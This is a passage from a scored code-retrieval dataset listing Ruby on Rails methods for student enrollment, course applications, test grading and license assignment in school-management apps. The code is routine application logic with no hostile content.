"text": "def sign_done(student, sign = false)\n self.students << student\n student_lesson = find_students_lessons(student)\n student_lesson.sign_by_admin = sign\n student_lesson.save\n end",
"title": ""
},
{
"docid": "8adad3531cd7666706fbcece988056d4",
"score": "0.6311857",
"text": "def admit\n return unless request.post?\n student = @semester.users.find(params[:id])\n student.admitted = true\n if(student.save)\n render :update do |page|\n page.visual_effect :fade, \"waiting-#{params[:id]}\"\n end\n else\n render :update do |page|\n page.visual_effect :shake, 'head'\n end\n end\n end",
"title": ""
},
{
"docid": "d06f3a2e97c8af389db42c2222e8afe2",
"score": "0.62133944",
"text": "def set_ready_for_all_students\n unless @objective.preassign_ids == @old_pre_reqs\n @objective.objective_students.each do |o_stud|\n o_stud.set_ready\n end\n end\n end",
"title": ""
},
{
"docid": "29e83bf918d1d3183911c1a69ca6b381",
"score": "0.6202378",
"text": "def apply\n course = Course.find_by_id params[:id]\n\n unless current_user.applied? course\n current_user.apply_to_course_management course\n Notification.notify_new_course_candidate @school_year, current_user, course\n\n flash[:success] = \"Votre candidature à la gestion de l'E.C #{course.name} a été enregistrée.\"\n redirect_to :back\n else\n redirect_to :back, alert: \"Vous avez déjà postulé à la gestion de l'E.C #{course.name}.\"\n end\n end",
"title": ""
},
{
"docid": "ac2e78db78f8b30d286cb7af7dd96bd6",
"score": "0.6153346",
"text": "def enroll\n if (@user.person.is_a?(Student))\n term = ProbationTerm.find(params[:id])\n if term.students.size < term.max_students\n @user.person.probation_terms << term\n else\n flash[:errors] = t(:message_0, :scope => [:controller, :probation_terms])\n end\n end\n redirect_to :action => 'index'\n end",
"title": ""
},
{
"docid": "32312aff89b039d8ce7d230817d0423a",
"score": "0.6137961",
"text": "def run\n business.contacts.students.each do |student|\n current_membership = student.current_membership\n installment = student.installment_for(Date.today)\n \n if installment.present?\n # Update agent on already existing installments\n agent = business.agents.enabled.where(:padma_id => student.padma_teacher).first\n if agent\n installment.agent = agent\n installment.save\n end\n elsif current_membership.present? and Date.today >= current_membership.begins_on and not current_membership.overdue?\n # create installment\n agent = business.agents.enabled.where(:padma_id => student.padma_teacher).first\n installment = current_membership.installments.new(:due_on => Date.new(Date.today.year,Date.today.month,current_membership.monthly_due_day),\n :value => current_membership.value)\n installment.agent = agent if agent\n installment.save\n end\n end\n end",
"title": ""
},
{
"docid": "f2d3a54676453b2caae3c0732902b801",
"score": "0.60991526",
"text": "def struggling_students\n end",
"title": ""
},
{
"docid": "c72abed7f9ed393b0a23757d7bd47c1d",
"score": "0.6053326",
"text": "def new_special_status\n @sitting_id = session[:sitting_id]\n @student_id = params[:student_id]\n @student = Student.find(@student_id)\n @students_sittings = StudentsSitting.new\n end",
"title": ""
},
{
"docid": "4cf25e2bfa7d651b8b8b9a52d55efb6a",
"score": "0.60438645",
"text": "def apply\n activity = Activity.find_by_id params[:id]\n\n unless current_user.applied_to_activity_teaching? activity\n Notification.notify_new_activity_candidate @school_year, current_user, activity\n current_user.apply_to_activity_teaching activity\n\n flash[:success] = \"Votre candidature pour enseigner l'activité #{activity.type} de l'E.C #{activity.course.name} a été enregistrée.\"\n redirect_to :back\n else\n redirect_to :back, alert: \"Vous avez déjà postulé pour enseigner l'activité #{activity.type} de l'E.C #{activity.course.name}.\"\n end\n end",
"title": ""
},
{
"docid": "a11dd39e755de37ba0c06110f97f525b",
"score": "0.6006348",
"text": "def update_student_campus_involvement\n @student = true\n @campus_ministry_involvement = @campus_involvement.find_or_create_ministry_involvement\n # restrict students to making ministry involvements of their role or less\n if ministry_role_being_updated = (params[:ministry_involvement] && mr_id = params[:ministry_involvement][:ministry_role_id])\n requested_role = MinistryRole.find params[:ministry_involvement][:ministry_role_id]\n requested_role ||= MinistryRole.default_student_role\n # note that get_my_role sets @ministry_involvement as a side effect\n if !(get_my_role.is_a?(StaffRole) && requested_role.is_a?(StudentRole)) && \n requested_role.position < get_my_role.position\n flash[:notice] = \"You can only set ministry roles of less than or equal to your current role\"\n ministry_role_being_updated = false\n params[:ministry_involvement][:ministry_role_id] = @campus_ministry_involvement.ministry_role_id.to_s\n end\n end\n\n # record history\n record_history = !@campus_involvement.new_record? && \n (@campus_involvement.school_year_id.to_s != params[:campus_involvement][:school_year_id] || \n @campus_ministry_involvement.ministry_role_id.to_s != params[:ministry_involvement][:ministry_role_id] || \n @campus_involvement.campus_id.to_s != params[:campus_involvement][:campus_id])\n if record_history\n @history = @campus_involvement.new_student_history\n @history.ministry_role_id = @campus_ministry_involvement.ministry_role_id\n end\n # update the records\n @campus_involvement.update_attributes :school_year_id => params[:campus_involvement][:school_year_id],\n :campus_id => params[:campus_involvement][:campus_id]\n\n if ministry_role_being_updated\n @campus_ministry_involvement.ministry_role = requested_role\n @campus_ministry_involvement.save!\n end\n if record_history && @campus_involvement.errors.empty? && @campus_ministry_involvement.errors.empty?\n @history.save!\n @campus_involvement.update_attributes :last_history_update_date => Date.today\n end\n unless @campus_involvement.errors.empty?\n set_roles\n end\n logger.info \"@campus_involvement.object_id = #{@campus_involvement.object_id}\"\n end",
"title": ""
},
{
"docid": "b16e507f9d9e0257820af5461a6b9638",
"score": "0.5988127",
"text": "def student\n end",
"title": ""
},
{
"docid": "2fcf43d49518e2069591a62c6917bb82",
"score": "0.59869623",
"text": "def new_student\n\n end",
"title": ""
},
{
"docid": "43827adec229f885db6bf0bfc5a8ca18",
"score": "0.59641206",
"text": "def create\n @semester = Semester.find_by_id params[:semester_id]\n return unless semester_is_valid(@semester)\n\n\n @student = Student.find_by_id params[:student_id]\n return unless student_is_valid(@student, @semester)\n\n #Check if the course has already been added\n enrolled = Enrollment.where(:student_id => @student.id, :course_id => params[:enrollment][:course_id])\n if enrolled.length == 0\n #The student has not been enrolled in this course\n @enrollment = Enrollment.new(params[:enrollment])\n if not @enrollment\n flash[:warning] = [[:enrollment,\"Could not initialize a enrollment object.\"]]\n redirect_to new_semester_student_enrollment_path(@semester)\n return\n end\n\n @enrollment.semester_id = @semester.id\n @enrollment.student_id = @student.id\n\n if @enrollment.save\n flash[:notice] = \"#{@student.first_name} #{@student.last_name} was successfully enrolled in #{@enrollment.course.name}.\"\n else\n flash[:warning] = @enrollment.errors\n flash[:enrollment] = params[:enrollment]\n end\n else\n # The student has been enrolled in this course. Update it instead of creating a new one.\n @enrollment = enrolled[0]\n @enrollment.update_attributes(params[:enrollment])\n if @enrollment.save\n flash[:notice] = \"#{@student.first_name} #{@student.last_name}'s enrollment in #{@enrollment.course.name} was successfully updated.\"\n else\n flash[:warning] = @enrollment.errors\n flash[:enrollment] = params[:enrollment]\n end\n end\n redirect_to edit_semester_student_path(@semester, @student)\n end",
"title": ""
},
{
"docid": "9ed69db80e39af5c3f02023f26f5fc3f",
"score": "0.5950623",
"text": "def create_enrollment\n @student = Student.find(params[:id])\n existing_course_ids = @student.enrollments.pluck(:course_id)\n\n @course = Course.find(params[:id])\n @student.update(student_params)\n flash[:notice] = \"You have successfully enrolled a student\"\n redirect_to Student\n end",
"title": ""
},
{
"docid": "a98d0d65ddfcc0330b135dfac22d04e7",
"score": "0.59467083",
"text": "def stud\n @student = current_student\n end",
"title": ""
},
{
"docid": "16d559a4cf324b35c1089b1d942dc1f9",
"score": "0.5946046",
"text": "def pass_student(student, test_name)\n test_exist = BoatingTest.all.find do |boating_test|\n boating_test.instructor == self && boating_test.student && student && boating_test.name == test_name\n end\n if (test_exist)\n test_exist.status = \"Passed\"\n else\n BoatingTest.new(student, test_name, \"Passed\", self)\n end\n end",
"title": ""
},
{
"docid": "adf930c3f2a300ea9e58c29113f5a837",
"score": "0.5925731",
"text": "def save_membership(resource)\n if resource.save\n resource.run_jobs\n true\n end\n end",
"title": ""
},
{
"docid": "adf930c3f2a300ea9e58c29113f5a837",
"score": "0.5925731",
"text": "def save_membership(resource)\n if resource.save\n resource.run_jobs\n true\n end\n end",
"title": ""
},
{
"docid": "adf930c3f2a300ea9e58c29113f5a837",
"score": "0.5925731",
"text": "def save_membership(resource)\n if resource.save\n resource.run_jobs\n true\n end\n end",
"title": ""
},
{
"docid": "17aa2a6a302eaede940ebd902965761b",
"score": "0.59067875",
"text": "def check_after_update\n if student.blank? || student.school != user.school\n update( student: Student.first_student(user.school))\n end\n end",
"title": ""
},
{
"docid": "6cd560fe73f6e22faecc289825d69a5a",
"score": "0.59028614",
"text": "def pending_confirmations\n @students = Student.where(id: Offer.where(company_id: set_company.id, comp_agree: true, stud_agree: false).select(:student_id))\n end",
"title": ""
},
{
"docid": "332f9f162ca40e0b45fc7d02d4defc6d",
"score": "0.58896446",
"text": "def pass_student(student, test_name)\n specific_test = BoatingTest.find_student_test(student) & BoatingTest.find_test_name(test_name)\n if specific_test.length > 0 \n specific_test.each{|test| test.test_status = \"passed\"}\n else\n specific_test = BoatingTest.new(student, test_name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "ddbcf8e220687d346ab05adec36aa230",
"score": "0.58779585",
"text": "def update_journal(student)\n log_notice(student.fullname)\n if check_homework(student.homework.task_solutions)\n add_status_to_journal(student_name: student.fullname,\n student_id: student.id, status: true)\n repository.merge(self)\n else\n add_status_to_journal(student_name: student.fullname,\n student_id: student.id, status: false)\n student.refactor(self)\n end\n end",
"title": ""
},
{
"docid": "d68ebf373d08b60bab97fda374fcd0da",
"score": "0.5874287",
"text": "def may_approve\n @study and @study.can_be_approved_by current_user\n end",
"title": ""
},
{
"docid": "4fc9638e73695f1ea0013eac0f9e1b88",
"score": "0.58533895",
"text": "def update\n @service_learning_course = ServiceLearningCourse.find(params[:course_id]) rescue nil\n @student_to_add = Student.find_by_anything(params[:extra_enrollee][:student_anything]) rescue nil\n @student_to_add = @student_to_add.first if @student_to_add.is_a?(Array)\n if @student_to_add.nil?\n flash[:error] = \"Could not find a matching student. Please try again.\"\n redirect_to(students_service_learning_course_path(@unit, @quarter, @service_learning_course)) and return\n end\n \n if params[:extra_enrollee][:course].blank? # Add this student as At Large\n @extra_enrollee = ServiceLearningCourseExtraEnrollee.new()\n @extra_enrollee.person_id = @student_to_add.id\n @extra_enrollee.service_learning_course_id = @service_learning_course.id\n if @service_learning_course.enrollees.include? @student_to_add\n flash[:error] = \"#{@student_to_add.fullname} is already enrolled in this course.\"\n redirect_to(students_service_learning_course_path(@unit, @quarter, @service_learning_course)) and return\n end\n else\n @extra_enrollee = CourseExtraEnrollee.new()\n @course_to_add = @service_learning_course.courses.find(params[:extra_enrollee][:course])\n if @course_to_add.course.all_enrollees.include? @student_to_add\n flash[:error] = \"#{@student_to_add.fullname} is already enrolled in this course.\"\n redirect_to(students_service_learning_course_path(@unit, @quarter, @service_learning_course)) and return\n end\n @extra_enrollee.person_id = @student_to_add.id\n @extra_enrollee.ts_year = @course_to_add.ts_year\n @extra_enrollee.ts_quarter = @course_to_add.ts_quarter\n @extra_enrollee.course_branch = @course_to_add.course_branch\n @extra_enrollee.course_no = @course_to_add.course_no\n @extra_enrollee.dept_abbrev = @course_to_add.dept_abbrev\n @extra_enrollee.section_id = @course_to_add.section_id\n end\n\n if @extra_enrollee.save\n flash[:notice] = \"Added #{@extra_enrollee.person.fullname} to course.\"\n redirect_to(students_service_learning_course_path(@unit, @quarter, @service_learning_course))\n else\n flash[:error] = \"Could not find a matching student. Please try again.\"\n redirect_to(students_service_learning_course_path(@unit, @quarter, @service_learning_course))\n end\n end",
"title": ""
},
{
"docid": "324b355cbd8fefeb19d05497248e7248",
"score": "0.5851862",
"text": "def add_students\n @course = Course.find(params[:id])\n\n if(add_students_params[:students].present? && @course.add_students(add_students_params[:students]))\n flash[:success] = 'Student added successfully to course'\n else\n flash[:warning] = 'Invalid selection'\n end\n\n redirect_to edit_course_path(params[:id])\n end",
"title": ""
},
{
"docid": "107ceb403c64dc5a9e576c8e3532f9dc",
"score": "0.5842568",
"text": "def submit_decision(semesterID, campusID, methodID, date, notes, name, witness, believer)\n create(_(:semester_id) => semesterID, _(:campus_id) => campusID, _(:method_id) => methodID, _(:date) => date, _(:notes) => notes, _(:first_name) => name, _(:witness_name) => witness, _(:integrated_believer) => believer)\n end",
"title": ""
},
{
"docid": "1060ce90044e8981e0b789e33c4a2308",
"score": "0.5842256",
"text": "def pass_student(student, test_name)\n end",
"title": ""
},
{
"docid": "715559beeee03cc7762de6ddae15776c",
"score": "0.5837881",
"text": "def pass_student(student_name,test_name)\n BoatingTest.all.each do |test_instance|\n if test_instance.student.name == student_name && test_instance.test_name == test_name\n test_instance.test_status = \"passed\"\n end\n end\n end",
"title": ""
},
{
"docid": "fe747470cf85332ed8caa6447ca9059f",
"score": "0.58356166",
"text": "def new_subject_status\n if step_no == 0 then\n 0 # new\n else\n a = current_assmt\n if( a == 1 || a == 4 )then\n 2 # closed\n else\n 1 # open\n end\n end\n end",
"title": ""
},
{
"docid": "a9f456fe96ba3feb0a17a0094dca4828",
"score": "0.5832612",
"text": "def enroll_student\n @probation_term = ProbationTerm.find(params[:probation_term][:id])\n @student = Student.find(params[:student][:id])\n @probation_term.students << @student\n @probation_term.save\n @students = Student.find_to_enroll(@probation_term, :sort)\n render(:action => \"detail\")\n end",
"title": ""
},
{
"docid": "739e9824510e3f2e3869fec6bc29a716",
"score": "0.58314055",
"text": "def pass_student(student, test)\n test_check = BoatingTest.all.find{|test| test.student == student && test.test_name == test}\n\n if test_check == true\n test_check.test_status = \"passed\"\n else\n BoatingTest.new( student, test, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "b54e32472238569ce18a896da5cc9af9",
"score": "0.5830084",
"text": "def fail_student\n end",
"title": ""
},
{
"docid": "fa791ea700e26a4ac7bd331e8c1e5df0",
"score": "0.5821166",
"text": "def admission2\n @student = Student.shod(params[:format])\n @guardian = @student.guardians.build\n @countries ||= Country.all\n authorize! :create, @student\n end",
"title": ""
},
{
"docid": "19c0ac28d6539b97111123952b2f5324",
"score": "0.581384",
"text": "def student_abilities\n return unless current_user.student?\n\n can(:create, StudentWork)\n can(:read, :dashboard)\n end",
"title": ""
},
{
"docid": "2ea0cadfeb8524045a853baded909094",
"score": "0.5812913",
"text": "def pass_student(student, test_name) #if it helps you get to a point but doesn't compelte the jobm, make it a helper method\n self.grade_student(student, test_name, \"passed\")\n end",
"title": ""
},
{
"docid": "6f6a6ae6caaabb6fcb67d402685a6057",
"score": "0.5805301",
"text": "def check_lost_students\n deactivate_status = self.active_changed? && self.active == false\n if deactivate_status\n DailyMetric.create(\n club_id: self.club.id,\n lost_students: 1\n )\n end\n end",
"title": ""
},
{
"docid": "12ea9fbdf7dde98395bf92925dcf9bbc",
"score": "0.5799703",
"text": "def enroll(new_student)\n @students.push(new_student)\n end",
"title": ""
},
{
"docid": "12ea9fbdf7dde98395bf92925dcf9bbc",
"score": "0.5799703",
"text": "def enroll(new_student)\n @students.push(new_student)\n end",
"title": ""
},
{
"docid": "61ef92796a2cbd019d10c27425509de0",
"score": "0.5796461",
"text": "def student_not_already_enrolled\n errors.add(:course_id, \"The student is already enrolled in the selected course.\") unless student_not_already_enrolled?\n end",
"title": ""
},
{
"docid": "34098f8bcc541e31ebba9e921b7e6651",
"score": "0.57942134",
"text": "def create\n @student = Student.check_for_existing(params[:student])\n \n respond_to do |format|\n if @student\n Course.create(:student_id => @student.id, :classroom_id => params[:classroom_id])\n @student.assign_current_classroom_lessons(params[:classroom_id])\n AppMailer.new_classroom_notification(@student).deliver\n format.html { redirect_to(classroom_path(params[:classroom_id]), :notice => 'Student was successfully added.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5bae5c82638b45ce365011a8101274f9",
"score": "0.57913125",
"text": "def mission\n add_plan_predicate :mission_task?\n end",
"title": ""
},
{
"docid": "058ef601811eb980df62e4d5a31a6ae3",
"score": "0.57825315",
"text": "def create\n @student = Student.new(params[:student])\n\t@participant = Participant.create()\n\t@participant.first = @student.name\n\t@participant.last = @student.last_name\n\t#if Time.month < 6\n\t\t@participant.season = Time.now.strftime('%m')\n\t#else\n\t#\t@participant.season = \"Fall\"\n\t#end\n\t@participant.year = Time.now.strftime('%Y')\n\t@student.participants << @participant\n\t\n\n\n\tStudent.all.each do |oldStudent|\n\t\tif oldStudent.name == @student.name and oldStudent.last_name == @student.last_name\n\t#\t\t@student.attributes.each_pair do |param, val|\n\t#\t\t\tatt = param.to_sym\n \t#\t\t\t@student.send(att) = 'repitez'\n\t#\t\tend\n\t\t\t\n\t\t\toldStudent.destroy\n\t\tend\n\tend\n\t\t\t\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to(@student, :notice => 'Student was successfully created.') }\n format.xml { render :xml => @student, :status => :created, :location => @student }\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @student.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c0bcd01f73d783027afbcee894b140b7",
"score": "0.5782306",
"text": "def assign_elective\n @subject = Subject.shod(params[:student_subject][:subject_id])\n @subject.assign_subject(params[:students])\n flash[:notice] = t('assign_elective')\n redirect_to elective_student_path(@subject)\n authorize! :create, @student\n end",
"title": ""
},
{
"docid": "c27a0f7555036083801798affd50b5ea",
"score": "0.5769534",
"text": "def set_result new_status, by_user\n if %w{finished failed}.member?(new_status)\n if students_record.status == \"active\"\n ActiveRecord::Base.transaction_user(by_user) do\n if pkg\n student.pkgs.destroy(pkg) # this student has finished a pkg\n end\n students_record.update(status: new_status, finished_on: DateTime.now.in_time_zone)\n end\n else\n students_record.update(status: new_status, finished_on: DateTime.now.in_time_zone)\n end\n end\n end",
"title": ""
},
{
"docid": "d179dcab8bf11fd5b5918e00342762af",
"score": "0.5767517",
"text": "def verify_presenty\n self.update_attributes({verify_absenty: true})\n #self.present_students.update_all({last_present: Time.now})#.map(&:update_presnty)\n end",
"title": ""
},
{
"docid": "5dc2d7a5e61b252baa45e593237fc531",
"score": "0.5751261",
"text": "def admission3\n @student = Student.shod(params[:format])\n authorize! :create, @student\n end",
"title": ""
},
{
"docid": "303941b58b22473b0968f62999c119e8",
"score": "0.574876",
"text": "def autoconfirm\n course = self.course\n\n if course.number_of_students >= course.min_capacity\n course.update(status: 'confirmed')\n end\n end",
"title": ""
},
{
"docid": "53caf1786ca51d3a8034793f8bb1acf1",
"score": "0.57378787",
"text": "def approved\n @students = Student.where(id: Offer.where(company_id: set_company.id, comp_agree: true, stud_agree: true).select(:student_id))\n end",
"title": ""
},
{
"docid": "2d3723d34fa919c0dacf8b6132177efe",
"score": "0.57235456",
"text": "def is_student\n ministry_involvements.detect{ |mi| mi.ministry_role.is_a?(StaffRole) && mi.end_date.nil? }.nil?\n end",
"title": ""
},
{
"docid": "d7b4b51a81cdc3cbe0cd0b314910a438",
"score": "0.571397",
"text": "def create\n enrollment_created = false\n @course = Course.find(params[:course_id])\n\n if check_id_and_name(student_params)\n flash[:danger] = get_error_message(student_params)\n elsif @course.enrollments.exists?(:student_id => student_params[:student_id]) \n flash[:danger] = 'Student was not added to course. Student is already enrolled in course.'\n elsif !Student.exists?(:student_id => student_params[:student_id])\n @student = Student.create( student_params ) \n @course.enrollments.create( :student_id => @student.student_id )\n enrollment_created = true\n else\n @student = Student.find_by(student_params)\n @course.enrollments.create( :student_id => @student.student_id )\n enrollment_created = true\n end\n\n respond_to do |format|\n if @course.save and enrollment_created\n flash[:success] = 'Student was successfully added to course.'\n format.html { redirect_to admin_course_path(@course, admin_id: @course.admin_id)}\n format.json { render :show, status: :created, location: @student }\n else\n format.html {redirect_to new_admin_course_student_path(@student, course_id: @course.id, admin_id: current_admin.id) }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9a35a2c5a130fcec7fd6190fbe358491",
"score": "0.57138306",
"text": "def pass_student(student_obj, test_nam)\n if test_nam == nil \n BoatingTest.new(student_obj, test_nam, \"Pass\", Instructor.new(\"Chica\"))\n else \n BoatingTest.all.each do |test_obj|\n if test_obj.student_inst == student_obj && test_obj.test_name == test_nam\n test_obj.test_status = \"Pass\"\n end \n \n end \n end \n\n\n end",
"title": ""
},
{
"docid": "c091d00b211d3bc7f7b05d3dd5a7eb0c",
"score": "0.57076746",
"text": "def add_student( student )\n SubjectRegistration.create :user_id => student.id, :subject_id => self.id\n end",
"title": ""
},
{
"docid": "d314aa9816edb372f013e0e87dd733ad",
"score": "0.5703278",
"text": "def pass_student(student_name, test_name)\n \n tests = BoatingTest.all.select { |boating_test|\n boating_test.bt_name == test_name && boating_test.student.first_name == student_name \n }\n if tests == []\n stud = Student.find_student(student_name)\n new_test = BoatingTest.new(stud, test_name, \"passed\", self)\n return new_test\n else\n return tests.each{|bt| bt.bt_status = \"passed\"}\n end\n\n \n end",
"title": ""
},
{
"docid": "496a21e1a266c5403cc724cae647cae3",
"score": "0.5702531",
"text": "def update_thesis_status\n thesis.save\n end",
"title": ""
},
{
"docid": "496a21e1a266c5403cc724cae647cae3",
"score": "0.5702531",
"text": "def update_thesis_status\n thesis.save\n end",
"title": ""
},
{
"docid": "b553a612103350cda34c3b4b6a86f320",
"score": "0.56976575",
"text": "def admission2_1\n @student = Student.shod(params[:format])\n authorize! :create, @student\n end",
"title": ""
},
{
"docid": "bd48131bcdf2579be5aaefaf2a922a70",
"score": "0.56951004",
"text": "def student?\n false\n end",
"title": ""
},
{
"docid": "d27e16f98c4380ac4b5241cadaad6080",
"score": "0.56833225",
"text": "def create\n @student = Student.new(params[:student])\n @course = Course.find_by_id(session[:course_id])\n \n \n \n if (params[:student])\n @student = Student.new(params[:student])\n @user = User.find_by_id(session[:user_id])\n @course = Course.find_by_id(session[:course_id])\n else\n params[:student] = {:fname=>params[:fname], \n :lname=>params[:lname], \n :preferred_name=>params[:preferred_name], \n :student_no=>params[:student_no]\n }\n @student = Student.new(params[:student])\n @student.course_id = session[:course_id]\n \n end\n if @student.student_no == nil\n @student.student_no = 0\n end\n @student.points = 0\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @course, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5af42d09817d9b0ea3bed76d06babd7b",
"score": "0.56794137",
"text": "def student?\n true\n end",
"title": ""
},
{
"docid": "138955d7abe861b6bcfbe4be40022148",
"score": "0.5668737",
"text": "def collect_save\n staff_id = current_user.id\n \n respond_to do |format|\n unless params[:assignment_ids].nil? or params[:user_ids].nil?\n Grade.assign_students_and_assignments_to_staff(@school.id,params[:assignment_ids],params[:user_ids],staff_id)\n format.html {redirect_to :back}\n else\n format.html {redirect_to :back, notice: 'You must select at least one student and one assignment.'}\n end\n end\n end",
"title": ""
},
{
"docid": "6661b2e28ba78dc6680cb2ad1a711746",
"score": "0.5667523",
"text": "def update\n Student.transaction do\n begin\n @student = Student.find_by(:confirm => params[:id])\n\n # - keep old vacancy_id & group personal\n vacancies = Array.new\n vacancies = keep_vacancy(vacancies, @student)\n\n # - update Student field\n @student = update_student(@student)\n @student.save!\n\n # - keep new vacancy\n vacancies = keep_vacancy(vacancies, @student)\n\n \n vacancies.each do |array|\n # - count vacancy\n vacancy = count_vacancy(array[\"vacancy_id\"], array[\"group_id\"], array[\"personal\"])\n\n # - verify skipped\n\n # save\n vacancy.save!\n end\n\n # EMAIL_HERE IF STUDENT REPLACED\n rescue\n flash[:error] = \"something error and transaction rollback\"\n end\n end\n\n year = @student.year\n respond_to do |format|\n format.html { redirect_to admin_student_path(year) }\n end\n end",
"title": ""
},
{
"docid": "ed3c9417f6dc53b22c9f21d0f66374c7",
"score": "0.56597936",
"text": "def pass_student(student, name)\n my_students_tests = get_students_of_instructor\n\n found = find_student(student, my_students_tests)\n found = find_tests(name, found)\n if found != nil\n found.status = \"passed\"\n else\n BoatingTest.new(student, name, \"passed\", self)\n end\n end",
"title": ""
},
{
"docid": "819c246a695d8dd139a9a564166d4767",
"score": "0.56546754",
"text": "def assign\n @license_set = LicenseSet.find(params[:id])\n success = false\n\n if params[:commit]==\"Update\" # In case the CR/IA is attempting to revoke licenses to students\n # Don't even bother to validate. Just update\n users = params[:license_set] ? User.where(id: params[:license_set][:user_ids]) : [] # If there are no user_ids in the params, then revoke the licenses for all students by setting license = 0\n all_users_of_this_license_set = @license_set.user_ids\n user_ids_int = params[:license_set].present? ? params[:license_set][:user_ids].collect { |id_int| id_int.to_i } : []\n revoked_users = all_users_of_this_license_set - user_ids_int\n @license_set.update_attribute :users, users\n if users == []\n all_users_of_this_license_set.each do |user_id|\n User.find(user_id).update_attribute(:last_content_purchased,Time.now)\n end\n else\n revoked_users.each do |user_id|\n User.find(user_id).update_attribute(:last_content_purchased,Time.now)\n end\n end\n success = true\n else # IA/CR is attempting to assign licenses to new students\n message = \"Please select at least one student\"\n if params[:license_set] # If users are there in the params list\n users = User.where(id: params[:license_set][:user_ids])\n if @license_set.available >= (users.map(&:id)-@license_set.user_ids).size #Availablilty of licenses is greater than the new users who want licenses\n @license_set.users+=users # This also covers the case where the student is already there in the system because the duplicate will not be allowed by rails by default.\n success = true\n else\n message = \"Lesser no. of licenses are available than requested\"\n end\n message = \"All the licenses are consumed\" if @license_set.available==0\n end\n end\n @license_set.reevaluate_license_set\n if success\n respond_to do |format|\n format.js { render \"list_all_students\" }\n end\n else\n respond_to do |format|\n format.js { render :js => \"$('<div>#{message}</div>').dialog({buttons : {\n Ok: function() {$(this).dialog('close');}}})\" }\n end\n end\n\n end",
"title": ""
},
{
"docid": "427790bafda2bdc301a65f9b2a748e6a",
"score": "0.56538904",
"text": "def pass_student(student, test_name)\n if find_test(student, test_name) != nil\n find_test(student, test_name).test_status = \"passed\"\n find_test(student, test_name)\n else\n add_boating_test(student, test_name, \"passed\")\n end\n end",
"title": ""
},
{
"docid": "4c26b4e5663151871eb5e27181bf1726",
"score": "0.56523526",
"text": "def create\n @batch = Batch.find(params[:batch_id])\n @student = @batch.students.new(params[:student])\n assign_student_no()\n if params[:student][:religion] == \"Others\"\n params[:student][:religion] = params[:religion][:other]\n end\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to @student, notice: 'Student was successfully created.' }\n format.json { render json: @student, status: :created, location: @student }\n else\n format.html { render action: \"new\" }\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3c376790b9c47d93468c2e0d9129b2d",
"score": "0.56498635",
"text": "def add_to_waiting_list(user, course)\n\t\t#Checks for available seats and adds students to waiting list if seats are filled\n\t\t#Else registers them for the course\n\t\tcourse.users << user\n\t\tif course.seats <= course.users.count \n\t\t\tregistration = course.registrations.where(:user_id => u.id)\n\t\t\tregistration.first.update_attribute(:wl, true)\n\t\tend\n\tend",
"title": ""
},
{
"docid": "af9111e46f0e41faedeccf74cdc7fee7",
"score": "0.5642949",
"text": "def create\n\t\tsuper do\n\t\t\t@student = Student.find(resource.student_id)\n\t\t\tif resource.name == \"\"\n\t\t\t\tresource.name = @student.name\n\t\t\tend\n\t\t\tresource.yr = @student.yr\n\t\t\tresource.course = @student.course\n\t\t\tresource.school = @student.school\n\n\t\t\tresource.save(validate: false)\n\t\t\t@student.account = true\n\t\t\t@student.save\n\t\t\t# Student.find(params[:account][:student_id]).update(account: true)\n\t\tend\n\n\t\t# redirect_to root_path\n\tend",
"title": ""
},
{
"docid": "08560fbc06011a3565571c7cc067230a",
"score": "0.56419796",
"text": "def create\n if current_user\n @student = Student.new(student_params)\n\n @student.tutor = current_user\n\n\n # @student.school_id = School.find(params[:student][:school_id]).id\n\n respond_to do |format|\n if @student.save\n format.html { redirect_to tutor_students_path, notice: 'Student was successfully created.' }\n format.json { render :show, status: :created, location: @student }\n else\n format.html { render :new, notice: 'faltan datos'}\n format.json { render json: @student.errors, status: :unprocessable_entity }\n end\n end\n else\n redirect_to tutor_students_path, alert: 'Debes completar tu perfil antes de crear estudiantes!'\n end\n end",
"title": ""
},
{
"docid": "5a00a05119b6e85e5aab1b435e556dca",
"score": "0.56399757",
"text": "def add_student(student)\n unless @students.include?(student)\n @students << student\n student.enroll(self)\n end\n end",
"title": ""
},
{
"docid": "2ea8090edff06ad3b08548ac889c6bbe",
"score": "0.562927",
"text": "def active_student\n\t\tunless Student.active.include?(self.student)\n\t\t\terrors.add(:registration, \"Registration must me associated with an active student\")\n\t\tend\n\tend",
"title": ""
},
{
"docid": "27f26ad78f5bbb62d98ca73ab2e2a766",
"score": "0.5622315",
"text": "def active_students\n return if self.student.nil?\n errors.add(:student, \"is not active\") if !self.student.active\n end",
"title": ""
},
{
"docid": "60cec1fa9cf38da8b954566b9a7cbcc7",
"score": "0.5619591",
"text": "def allow_students_to_add_resources_to_submission\n return @allow_students_to_add_resources_to_submission\n end",
"title": ""
},
{
"docid": "d77b8649f95957111070098866d59016",
"score": "0.5615777",
"text": "def pass_student(student, test_name)\n test_to_pass = BoatingTest.all.find do |test|\n test.test_name == test_name && test.student == student\n end \n if test_to_pass \n test_to_pass.status = \"Passed\"\n else\n BoatingTest.new(test_name, self, student, status=\"Passed\")\n end\n end",
"title": ""
},
{
"docid": "30fc1afab0b97dbb3fa6b483b73e4516",
"score": "0.56005424",
"text": "def apply\n @membership = SectionMembership.new(:section_id => params[:section_id], :member_id => current_member.id, :role => SectionMembership::ROLE[:applicant], :joined => Date.today)\n if @membership.save\n flash[:notice] = \"Application successfully submitted.\"\n redirect_to section_memberships_url(params[:section_id])\n end\n authorize! :apply, SectionMembership\n end",
"title": ""
},
{
"docid": "132e23aa67ab8478166568e71bdba85e",
"score": "0.55996555",
